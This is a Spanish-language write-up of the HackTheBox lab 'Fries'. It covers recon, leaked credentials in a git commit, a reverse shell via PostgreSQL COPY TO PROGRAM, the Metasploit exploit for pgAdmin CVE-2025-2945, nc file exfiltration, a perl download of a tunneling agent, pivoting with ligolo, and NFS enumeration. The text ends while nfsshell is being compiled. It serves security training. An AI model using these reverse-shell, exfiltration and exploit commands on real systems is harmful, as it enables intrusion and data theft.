HackTheBox - Fries

sckull — Sat, 25 Jul 2026 00:00:00 +0000

En Fries se descubrieron varios subdominios: uno aloja un repositorio con credenciales y otro, exponia una instancia de pgAdmin vulnerable. Esta permitio acceder a dos contenedores Docker donde se descubrieron nuevas credenciales. Tras realizar pivoting se identifico un contenedor que exponia un recurso NFS con certificados. Las credenciales encontradas permitieron el acceso por SSH a un host Linux; dentro, utilizamos los certificados para escalar privilegios. Tambien, descubrimos credenciales para PWM lo que permitio obtener nuevas credenciales. Con estas ultimas ejecutamos Bloodhound lo que permitio identificar permisos que dieron el acceso a un nuevo usuario y, a traves de este se explotaron ESC7, ESC6 y ESC16 para escalar privilegios en el dominio.

Nombre	Fries
OS	Windows
Puntos	40
Dificultad	Hard
Fecha de Salida	2025-11-22
IP	10.10.11.96
Maker	ruycr4ft kavigihan
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [35, 11, 20, 29, 85, 128, 433, 395, 226, 206], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Machine Information: Fries

La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.

Please allow up to 7 minutes for services to load. As is common in real life Windows penetration tests, you will start the Fries box with credentials for the following account : d.cooper@fries.htb / D4LE11maan!!

Recon

nmap

nmap muestra multiples puertos abiertos: ssh (22), dns (53), http (80), kerberos (88), rpc (135), ldap (389), https (443), smb (445), winrm (5985).

# Nmap 7.95 scan initiated Sat Nov 22 13:10:04 2025 as: /usr/lib/nmap/nmap --privileged -p22,53,80,88,135,139,389,443,445,464,593,636,2179,3268,3269,5985,9389,49666,49669,49670,49674,49677,49901,60342,60373 -sV -sC -oN nmap_scan 10.10.11.96
Nmap scan report for 10.10.11.96
Host is up (0.067s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
53/tcp    open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD-TCP: 
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp    open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://fries.htb/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-23 02:09:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
|_ssl-date: 2025-11-23T02:11:22+00:00; +6h59m35s from scanner time.
443/tcp   open  ssl/http      nginx 1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Not valid before: 2025-06-01T22:06:09
|_Not valid after:  2026-06-01T22:06:09
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:11:21+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:11:22+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T02:11:21+00:00; +6h59m35s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after:  2105-11-18T05:39:19
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49901/tcp open  msrpc         Microsoft Windows RPC
60342/tcp open  msrpc         Microsoft Windows RPC
60373/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=11/22%Time=69220AA2%P=x86_64-pc-linux-gnu%r(DNS
SF:-SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x0
SF:4_udp\x05local\0\0\x0c\0\x01");
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-23T02:10:44
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m34s, deviation: 0s, median: 6h59m34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 22 13:11:47 2025 -- 1 IP address (1 host up) scanned in 103.42 seconds

Agregamos a nuestro archivo /etc/hosts los valores fries.htb DC01.fries.htb.

Service Access

Las credenciales no tienen acceso por ningun servicio.

❯ netexec ldap fries.htb -u d.cooper -p 'D4LE11maan!!'
LDAP        10.10.11.96   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.96   389    DC01             [-] fries.htb\d.cooper:D4LE11maan!! 
❯ netexec smb fries.htb -u d.cooper -p 'D4LE11maan!!'
SMB         10.10.11.96   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.10.11.96   445    DC01             [-] fries.htb\d.cooper:D4LE11maan!! STATUS_LOGON_FAILURE 
❯ netexec winrm fries.htb -u d.cooper -p 'D4LE11maan!!'
WINRM       10.10.11.96   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) 
WINRM       10.10.11.96   5985   DC01             [-] fries.htb\d.cooper:D4LE11maan!!
❯

Web Site

Los headers muestran un servidor nginx.

❯ curl -sI fries.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 23 Nov 2025 03:11:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 14954
Connection: keep-alive

❯

El sitio tiene una tematica de alimentos.

Directory Brute Forcing

feroxbuster unicamente muestra contenido estatico.

❯ feroxbuster -u http://fries.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://fries.htb/
 🚩  In-Scope Url          │ fries.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      481l      928w     9430c http://fries.htb/static/css/style.css
200      GET       79l      189w     2540c http://fries.htb/static/js/main.js
200      GET      303l     1083w    14932c http://fries.htb/about
200      GET      393l     1145w    19931c http://fries.htb/menu
200      GET      309l     1013w    14954c http://fries.htb/
❯

HTTPS Web Site

En el puerto 443 o HTTPS corre pwm.

Tras intentar ingresar con las credenciales iniciales este muestra un error y un nombre de usuario: svc_infra. Creamos un wordlist de contrasenas y usuarios en este ultimo agregamos el usuario recien encontrado.

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio code.

❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.fries.htb" -u http://fries.htb -fl 8

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fries.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.fries.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

code                    [Status: 200, Size: 13593, Words: 1048, Lines: 272, Duration: 97ms]
:: Progress: [151265/151265] :: Job [1/1] :: 593 req/sec :: Duration: [0:04:21] :: Errors: 0 ::
❯

code.fries.htb

El subdominio code muestra una instancia de gitea con version 1.22.6.

Ingresamos con las credenciales iniciales cambiando el usuario a dale, el usuario tiene el repositorio fries.htb.

Repository

Clonamos el repositorio.

❯ git clone http://code.fries.htb/dale/fries.htb.git
Cloning into 'fries.htb'...
Username for 'http://code.fries.htb': dale
Password for 'http://dale@code.fries.htb': 
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 61 (delta 19), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (61/61), 85.82 KiB | 641.00 KiB/s, done.
Resolving deltas: 100% (19/19), done.
❯

En el README se menciona un subdominio y tres usuarios.

### 🛠 Configuration

- Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db`
- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)
- Make sure the appropriate credentials and network routing are in place.

git show muestra el autor del commit como administrator.

❯ git show 83eef4b82f7acf78a3a1a0c66f844fee1f1cb9de
commit 83eef4b82f7acf78a3a1a0c66f844fee1f1cb9de
Author: administrator <administrator@fries.htb>
Date:   Wed May 28 10:57:50 2025 +0000

    Update README.md

diff --git a/README.md b/README.md
index 5bf6727..0541cb7 100644
--- a/README.md
+++ b/README.md
@@ -51,7 +51,7 @@ docker run -d \
 ### 🛠 Configuration
 
 - Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db`
-- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike etc)
+- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Me)
 - Make sure the appropriate credentials and network routing are in place.
 
 ## 🧰 Tech Stack
❯

En el commit inicial se muestran las credenciales de la base de datos.

❯ git show be59cceb54b56f00778822395bdf656216ab4b9f
commit be59cceb54b56f00778822395bdf656216ab4b9f
Author: Dale Cooper <dale@fries.htb>
Date:   Wed May 28 09:30:36 2025 +0000

    Initial Commit

diff --git a/.env b/.env
new file mode 100644
index 0000000..3fd9e1c
--- /dev/null
+++ b/.env
@@ -0,0 +1,2 @@
+DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
+SECRET_KEY=y0st528wn1idjk3b9a

db-mgmt05.fries.htb

El subdominio muestra el panel de login de pgAdmin.

Las credenciales de d.cooper nos dan acceso.

Se muestra informacion de pgAdmin, version 9.1.

Databases

Tras ingresar la contrasena de la base de datos ps_db observamos informacion de esta ademas, se listan otras dos.

Obtuvimos los hashes de la base de datos de gitea.

# /* SELECT email, salt, passwd, passwd_hash_algo FROM "user"; */
Row,email,salt,passwd (Hash),passwd_hash_algo
1,d.cooper@fries.htb,48bb6cb68aa810841c0e4f6d9bf19592,8ba77f28df211ea62db7fbecbfb595cd0568f9e34e0832ae87dfa45154f592eff45453041f1c1b7cc46dc62b94cb70abc67e,pbkdf2$50000$50
2,administrator@fries.htb,65c13aa196bbd6189387a345febfdc21,67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e,pbkdf2$50000$50

Formateamos para hashcat pero no encontramos la contrasena de administrator, no fue necesario seguir con este.

# digest=$(echo "67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e" | xxd -r -p | base64); salt=$(echo "65c13aa196bbd6189387a345febfdc21"| xxd -r -p | base64); name=$(echo "administrator@fries.htb"); echo "${name}:sha256:50000:${salt}:${digest}";
administrator@fries.htb:sha256:50000:ZcE6oZa71hiTh6NF/r/cIQ==:Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=

# ./hashcat.exe 'administrator@fries.htb:sha256:50000:ZcE6oZa71hiTh6NF/r/cIQ==:Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=' rockyou.txt --user

Postgres Host

pgAdmin tiene la herramienta Query Tool que permite la ejecucion de queries SQL. La ejecucion del query muestra el host 858fdf51af59 en todas las bases de datos.

Ejecutamos una shell inversa a traves de SQL.

`1`	`COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.15.134/4444 0>&1"';`

Observamos el accesso como postgres, env muestra credenciales para la base de datos. Ademas se indica la IP 172.18.0.3 y contenedor docker, por el archivo .dockerenv.

❯ rlwrap nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.15.134] from fries.htb [10.10.11.96] 49862
bash: cannot set terminal process group (374): Inappropriate ioctl for device
bash: no job control in this shell
postgres@858fdf51af59:~/data$ whoami;id;pwd
postgres
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
/var/lib/postgresql/data
postgres@858fdf51af59:~/data$ env
HOSTNAME=858fdf51af59
POSTGRES_PASSWORD=PsqLR00tpaSS11
PGLOCALEDIR=/usr/share/locale
LC_MONETARY=C
PWD=/var/lib/postgresql/data
HOME=/var/lib/postgresql
LANG=en_US.utf8
GOSU_VERSION=1.17
POSTGRES_INITDB_ARGS=
PG_MAJOR=16
PG_VERSION=16.9-1.pgdg120+1
SHLVL=2
POSTGRES_USER=root
PGSYSCONFDIR=/etc/postgresql-common
LC_MESSAGES=en_US.utf8
LC_CTYPE=en_US.utf8
LC_TIME=C
PGDATA=/var/lib/postgresql/data
LC_COLLATE=en_US.utf8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/postgresql/16/bin
POSTGRES_DB=ps_db
LC_NUMERIC=C
_=/usr/bin/env
postgres@858fdf51af59:~/data$ hostname -i
172.18.0.3
postgres@858fdf51af59:~/data$ ls -la /
total 64
drwxr-xr-x   1 root root 4096 May 28  2025 .
drwxr-xr-x   1 root root 4096 May 28  2025 ..
lrwxrwxrwx   1 root root    7 May 20  2025 bin -> usr/bin
drwxr-xr-x   2 root root 4096 May  9  2025 boot
drwxr-xr-x   5 root root  340 Jan 27 11:40 dev
drwxr-xr-x   2 root root 4096 May 22  2025 docker-entrypoint-initdb.d
-rwxr-xr-x   1 root root    0 May 28  2025 .dockerenv
drwxr-xr-x   1 root root 4096 May 28  2025 etc
drwxr-xr-x   2 root root 4096 May  9  2025 home
lrwxrwxrwx   1 root root    7 May 20  2025 lib -> usr/lib
lrwxrwxrwx   1 root root    9 May 20  2025 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4096 May 20  2025 media
drwxr-xr-x   2 root root 4096 May 20  2025 mnt
drwxr-xr-x   2 root root 4096 May 20  2025 opt
dr-xr-xr-x 229 root root    0 Jan 27 11:40 proc
drwx------   1 root root 4096 May 22  2025 root
drwxr-xr-x   1 root root 4096 May 22  2025 run
lrwxrwxrwx   1 root root    8 May 20  2025 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 May 20  2025 srv
dr-xr-xr-x  13 root root    0 Jan 27 11:40 sys
drwxrwxrwt   2 root root 4096 May 20  2025 tmp
drwxr-xr-x   1 root root 4096 May 20  2025 usr
drwxr-xr-x   1 root root 4096 May 20  2025 var
postgres@858fdf51af59:~/data$

Dentro de este encontramos unicamente postgres.

pgAdmin Host

pgAdmin tiene una vulnerabilidad que permite la Ejecucion Remota de Comandos (RCE) bajo el CVE-2025-2945 en versiones 8.10 <= 9.1, este permitiria el acceso al host de pgadmin. utilizamos el exploit para metasploit.

CVE-2025-2945 - Metasploit

Anteriormente encontramos credenciales en un commit para la base de datos, especificamos estas en el modulo, asi como el host y credenciales para pgadmin.

msf exploit(multi/http/pgadmin_query_tool_authenticated) > show options 

Module options (exploit/multi/http/pgadmin_query_tool_authenticated):

   Name           Current Setting      Required  Description
   ----           ---------------      --------  -----------
   DB_NAME        ps_db                yes       The database to authenticate to
   DB_PASS        PsqLR00tpaSS11       yes       The password to authenticate to the database with
   DB_USER        root                 yes       The username to authenticate to the database with
   MAX_SERVER_ID  10                   yes       The maximum number of Server IDs to try and connect to.
   PASSWORD       D4LE11maan!!         yes       The password to authenticate to pgadmin with
   Proxies                             no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS         db-mgmt05.fries.htb  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          80                   yes       The target port (TCP)
   SSL            false                no        Negotiate SSL/TLS for outgoing connections
   USERNAME       d.cooper@fries.htb   yes       The username to authenticate to pgadmin with
   VHOST                               no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.15.134      yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python payload



View the full module info with the info, or info -d command.

msf exploit(multi/http/pgadmin_query_tool_authenticated) >

Al ejecutar run nos muestra una shell como pgadmin en el host cb46692a4590. env muestra las credenciales para el administrador de pgAdmin. La IP para este es 172.18.0.4, tambien se indica docker.

msf exploit(multi/http/pgadmin_query_tool_authenticated) > run
[*] Started reverse TCP handler on 10.10.15.134:5555 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[+] Successfully initialized sqleditor
[*] Exploiting the target...
[*] Command shell session 1 opened (10.10.15.134:5555 -> 10.10.11.96:49874) at 2025-11-22 18:22:53 -0600
[-] No response received from exploit attempt
[-] Received an unexpected response code from the exploit attempt: 

whoami
pgadmin
env
HOSTNAME=cb46692a4590
SHLVL=1
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/pgadmin
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
SERVER_SOFTWARE=gunicorn/22.0.0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OAUTHLIB_INSECURE_TRANSPORT=1
CORRUPTED_DB_BACKUP_FILE=
PWD=/pgadmin4
PGAPPNAME=pgAdmin 4 - CONN:9109361
PYTHONPATH=/pgadmin4
hostname -i
172.18.0.4
ls -lah /.dockerenv
-rwxr-xr-x    1 root     root           0 May 28  2025 /.dockerenv

Database

/var/lib/pgadmin/ aloja la base de datos sqlite.

# nc -w 3 10.10.15.134 1234 < ../var/lib/pgadmin/pgadmin4.db
❯ nc -lvp 1234 > pgadmin4.db
listening on [any] 1234 ...
connect to [10.10.15.134] from fries.htb [10.10.11.96] 49797
❯ file pgadmin4.db
pgadmin4.db: SQLite 3.x database, last written using SQLite version 3048000, file counter 753, database pages 50, cookie 0x7d, schema 4, UTF-8, version-valid-for 753
❯

Observamos informacion de usuarios: admin y d.cooper.

❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open pgadmin4.db
sqlite> .tables
alembic_version              roles_users                
database                     server                     
debugger_function_arguments  servergroup                
keys                         setting                    
macros                       sharedserver               
module_preference            user                       
preference_category          user_macros                
preferences                  user_mfa                   
process                      user_preferences           
query_history                version                    
role                       
sqlite> select * from user;
1|admin@fries.htb|$pbkdf2-sha512$25000$.1.LkVKqda41JiTEuPf.vw$zF4oGyuGsb6opn1fkDlZbF1qYW.8E31Zewpz9uj5o01XWoXOcUAuhLFapBmaTEpOedBQWYJT6BjYtO8iJH7ifw|1||6c6b63596d4a34326a53665a3642745077635a71445645694d387761662f596c654a355a6d7268344c5a6d796367705a5a673d3d|admin@fries.htb|internal|e2df2475a4154a8c8f7efd5e6fbad373|0|0
2|d.cooper@fries.htb|$pbkdf2-sha512$25000$GQOAMCbknFPqvVdKqXXunQ$gamImbnZuJlKQxbgM5x2YUgb0sjGj6DAhTeSB8C40eVAit48ho8eXrW0TtPod3V.8Ql5k5SgdsdTrgiEXf9MWA|1||43512f354934526c477352592b717454365a615654754e4c59477334306a547a4a347361394843445247654741714b6674673d3d|d.cooper@fries.htb|internal|207706343b034d74b64b4afe51f92467|0|0
sqlite>

Tunneling - Ligolo-ng

No encontramos mas informacion dentro del host de pgAdmin. Dado que, existen varios host de docker, ejecutamos ligolo en el host de postgres para verificar la existencia de otros. Iniciando con la descarga del agente de linux con perl para luego establecer una conexion con el proxy.

postgres@858fdf51af59:/tmp$ perl -e 'use IO::Socket::INET;$s=IO::Socket::INET->new("10.10.15.134:80");print $s "GET /agent_linux HTTP/1.0\r\nHost: server\r\n\r\n";$h=1;open F,">out.bin";while(<$s>){if($h && /^\r?$/){$h=0;next} print F unless $h}'
postgres@858fdf51af59:/tmp$ mv out.bin agent; chmod +x agent
postgres@858fdf51af59:/tmp$ ./agent -connect 10.10.15.134:443 -ignore-cert
time="2025-11-23T05:26:53Z" level=warning msg="warning, certificate validation disabled"
time="2025-11-23T05:26:54Z" level=info msg="Connection established" addr="10.10.15.134:443"

En el proxy, iniciamos una interfaz, el tunel y se agrego una nueva ruta.

1
2
3

interface_create --name fries
tunnel_start --tun fries
interface_add_route --name fries --route 172.18.0.0/16

[Agent : postgres@858fdf51af59] » ifconfig
┌────────────────────────────────────┐
│ Interface 0                        │
├──────────────┬─────────────────────┤
│ Name         │ lo                  │
│ Hardware MAC │                     │
│ MTU          │ 65536               │
│ Flags        │ up|loopback|running │
│ IPv4 Address │ 127.0.0.1/8         │
│ IPv6 Address │ ::1/128             │
└──────────────┴─────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ eth0                           │
│ Hardware MAC │ 8e:b0:dc:68:8d:a1              │
│ MTU          │ 1500                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 172.18.0.3/16                  │
└──────────────┴────────────────────────────────┘
[Agent : postgres@858fdf51af59] » interface_add_route --name fries --route 172.18.0.0/16
INFO[0968] Route created.                               
[Agent : postgres@858fdf51af59] »

Host Discovery

Ejecutamos un for de bash para ejecutar ping y obtener los hosts activos, se listan seis.

❯ for j in {1..255}; do ping -c1 -W1 172.18.0.$j >/dev/null && echo "UP: 172.18.0.$j"; done
UP: 172.18.0.1
UP: 172.18.0.2
UP: 172.18.0.3
UP: 172.18.0.4
UP: 172.18.0.5
UP: 172.18.0.6
❯

Recon

Tras ejecutar nmap en los hosts, se muestran distintos puertos abiertos para cada uno.

❯ nmap 172.18.0.1-6
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-22 17:06 CST
Nmap scan report for 172.18.0.1
Host is up (0.079s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
2049/tcp open  nfs
3000/tcp open  ppp
8443/tcp open  https-alt

Nmap scan report for 172.18.0.2
Host is up (0.074s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 172.18.0.3
Host is up (0.081s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5432/tcp open  postgresql

Nmap scan report for 172.18.0.4
Host is up (0.077s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 172.18.0.5
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Nmap scan report for 172.18.0.6
Host is up (0.075s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
8443/tcp open  https-alt

Nmap done: 6 IP addresses (6 hosts up) scanned in 15.00 seconds
❯

Con la informacion anterior logramos establecer la “identidad” de la mayoria de hosts. El host 172.18.0.1 muestra el sitio ‘principal’ al igual que 172.18.0.2, aunque a diferencia de este ultimo, encontramos el puerto 111 abierto, lo que indicaria NFS.

172.18.0.1 ----> unknown
172.18.0.2 ----> fries.htb
172.18.0.3 ----> postgresql
172.18.0.4 ----> pgAdmin
172.18.0.5 ----> gitea
172.18.0.6 ----> pwm

NFS

showmount muestra que existe el recurso /srv/web.fries.htb el cual indica acceso a cualquier usuario.

❯ showmount -e 172.18.0.1
Export list for 172.18.0.1:
/srv/web.fries.htb *
❯

Tras montar el recurso con mount, logramos el acceso a la aplicacion web sin embargo, certs muestra error.

❯ mkdir web_fries_htb
❯ sudo mount -t nfs 172.18.0.1:/srv/web.fries.htb web_fries_htb/ -o nolock
[sudo] password for kali: 
❯ cd web_fries_htb
❯ tree .
.
├── certs  [error opening dir]
├── shared
└── webroot
    ├── app
    │   ├── __init__.py
    │   ├── models.py
    │   ├── __pycache__
    │   │   ├── __init__.cpython-310.pyc
    │   │   ├── __init__.cpython-311.pyc
    │   │   ├── __init__.rustpython-01.pyc
    │   │   ├── models.cpython-310.pyc
    │   │   ├── models.cpython-311.pyc
    │   │   ├── routes.cpython-310.pyc
    │   │   └── routes.cpython-311.pyc
    │   ├── routes.py
    │   ├── static
    │   │   ├── css
    │   │   │   └── style.css
    │   │   └── js
    │   │       └── main.js
    │   └── templates
    │       ├── about.html
    │       ├── base.html
    │       ├── home.html
    │       └── menu.html
    ├── docker-compose.yml
    ├── Dockerfile
    ├── docs
    │   └── images
    │       ├── docker-build.png
    │       └── docker-ps.png
    ├── README.md
    ├── requirements.txt
    └── run.py

12 directories, 23 files
❯

stat indica que unicamente el usuario root (uid 0) con el grupo desconocido (gid 59605603) pueden acceder a este directorio.

❯ stat certs
  File: certs
  Size: 4096      	Blocks: 8          IO Block: 524288 directory
Device: 0,72	Inode: 655365      Links: 2
Access: (0770/drwxrwx---)  Uid: (    0/    root)   Gid: (59605603/ UNKNOWN)
Access: 2025-06-07 07:29:56.365649100 -0600
Modify: 2025-05-26 12:13:35.922564627 -0600
Change: 2025-05-31 05:06:25.598354000 -0600
 Birth: -

❯

Para acceder a este directorio utilizamos nfsshell, clonando, agregando las dependencias y compilando.

❯ git clone https://github.com/Supermathie/nfsshell
Cloning into 'nfsshell'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 86 (delta 16), reused 27 (delta 16), pack-reused 54 (from 1)
Receiving objects: 100% (86/86), 90.39 KiB | 890.00 KiB/s, done.
Resolving deltas: 100% (38/38), done.
❯ make
gcc -g -DREADLINE -I/usr/local/include -I/usr/include/tirpc   -c -o nfsshell.o nfsshell.c
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses -ltirpc
❯ ls
